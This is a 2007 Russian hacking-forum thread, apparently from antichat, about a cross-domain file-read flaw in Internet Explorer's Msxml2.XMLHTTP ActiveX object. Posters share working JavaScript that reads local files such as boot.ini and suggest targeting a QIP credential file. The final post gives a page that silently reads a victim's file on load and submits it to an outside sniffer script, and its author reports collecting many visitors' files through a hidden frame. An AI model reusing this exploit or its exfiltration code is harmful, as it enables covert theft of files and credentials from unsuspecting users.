PDA

Просмотр полной версии : Cross Domain Scripting в Осле


V1k
30.06.2007, 11:41
Недавно, изучая стандартные ActiveX компоненты на предмет уязвимостей, наткнулся на одну занятную вещь: если ActiveX компонент Msxml2.XMLHTTP объявить, как показано ниже, на него не действуют ограничения безопасности. Поэтому можно просмотреть произвольный локальный (например file:///c:/boot.ini) или удаленный (http://forum.antichat.ru) файл с любого домена. Тестировал на IE 6 XP SP2 - работает, на IE 7 Vista - нет. Может есть у кого полностью запатченный Осел, проверить, исправил ли Мелкософт этот баг?
<script>
function readfile(filename)
{
try
{
var xmlobj = document.createElement ('object');
xmlobj.setAttribute ('id','xmlobj');
xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
xmlobj.open ('get',filename, false);
xmlobj.send ();
var text = xmlobj.responseText;
xmlobj = null;
return text;
}
catch(e)
{
return 'Ошибка! '+e.description;
}
}
</script>
<textarea id='text1' cols=60 rows=15></textarea></br>
<input size=58 id='file1'/>
<input type=button value='Открыть' onclick='text1.value=readfile(file1.value)'/>

Alexsize
05.07.2007, 16:21
Хм. Довольно интересная информация. Но вот я не очень понимаю, что это может дать? Автор объясни пожалуйста! И, наконец, кто нить у кого пропатченный есть осел, скажите, залатали или нет?

-=lebed=-
05.07.2007, 16:51
Локальные файлы не показывает, удалённые показывает

AHTOLLlKA
05.07.2007, 18:08
а удобно былоб.. надергал локально инфы.. и через тот же Get выслал на гейт куданить ))

првоерил локально не пашет =\

V1k
05.07.2007, 19:31
удаленные читает с любых доменов?
как указываете путь к файлу?
Alexsize
file://localhost/c:/Program Files/QIP/Users/Accounts.cfg и т.д. и т.п;)

Raz0r
05.07.2007, 19:57
У меня осел сразу ругается на содержимое сайта, хотя если ему запретить блокировать activex, все работает.

md5f1h
09.07.2007, 10:04
у мя Maxthon читает как локальные так и удаленные вот чуть чуть доделал
<html>
<script>
function readfile(filename)
{
try
{
var xmlobj = document.createElement ('object');
xmlobj.setAttribute ('id','xmlobj');
xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
xmlobj.open ('get',filename, false);
xmlobj.send ();
var text = xmlobj.responseText;
xmlobj = null;
return text;
}
catch(e)
{
return 'Ошибка! '+e.description;

}
}
</script>
<form action="http://sniffer.ru/sniffer.php" id=form1 method="GET">
<textarea name='text1' value=" " cols=60 rows=15></textarea><br>
<input type="submit">
</form>

<input type="hidden" name="file1" value="file:///C:\boot.ini" />
<body onload="javascript:text1.value=readfile(file1.value); javascript:form1.submit();">
</html>
ставил на сайт через фрейм пришло давольно много файлов boot.ini :)